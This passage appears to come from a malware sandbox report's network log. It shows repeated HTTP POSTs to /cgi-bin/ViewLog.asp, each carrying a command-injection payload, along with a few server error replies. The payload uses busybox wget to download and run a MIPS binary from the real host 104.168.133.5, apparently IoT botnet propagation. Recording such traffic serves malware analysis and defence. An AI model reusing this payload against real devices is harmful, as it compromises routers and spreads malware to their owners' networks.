                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:56.571476936 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:58.939434052 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:03.547302961 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:12.507059097 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:31.450640917 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:08.313610077 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                251192.168.2.153809495.217.104.1528080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:55.064604044 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:55.260209084 CET742INHTTP/1.1 400 Bad Request
                                                Date: Thu, 23 Nov 2023 04:20:55 GMT
                                                Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.2.34
                                                Connection: close
                                                Content-Type: text/html; charset=iso-8859-1
                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 20 28 43 65 6e 74 4f 53 29 20 4f 70 65 6e 53 53 4c 2f 31 2e 30 2e 32 6b 2d 66 69 70 73 20 6d 6f 64 5f 66 63 67 69 64 2f 32 2e 33 2e 39 20 50 48 50 2f 37 2e 32 2e 33 34 20 53 65 72 76 65 72 20 61 74 20 31 39 32 2e 31 36 38 2e 30 2e 31 34 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.2.34 Server at 192.168.0.14 Port 80</address></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                252192.168.2.154604262.29.49.1308080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:55.091501951 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                253192.168.2.1537480139.186.21.9323
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:55.506373882 CET233INHTTP/1.0 200 OK
                                                Server: Proxy
                                                Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 33 20 31 32 3a 31 36 3a 32 37 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a
                                                Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-23 12:16:27Auth Result: .


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                254192.168.2.1537504139.186.21.9323
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:56.215725899 CET233INHTTP/1.0 200 OK
                                                Server: Proxy
                                                Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 33 20 31 32 3a 31 36 3a 32 38 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a
                                                Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-23 12:16:28Auth Result: .


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                255192.168.2.1537512139.186.21.9323
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:56.911048889 CET233INHTTP/1.0 200 OK
                                                Server: Proxy
                                                Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 33 20 31 32 3a 31 36 3a 32 39 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a
                                                Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-23 12:16:29Auth Result: .


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                256192.168.2.153290631.136.104.888080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:57.526252031 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:00.731468916 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:06.875186920 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:18.906877041 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:43.738375902 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:32.888853073 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                257192.168.2.154829262.248.142.2418080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:57.540595055 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                258192.168.2.154292294.120.252.1648080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:57.552788973 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                259192.168.2.155505094.120.105.158080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:57.552913904 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                260192.168.2.154836694.120.51.2448080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:57.552961111 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                261192.168.2.156098294.122.95.98080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:57.556375027 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                262192.168.2.153447695.86.82.1208080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:57.567033052 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                263192.168.2.154327862.72.13.528080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:57.663717031 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
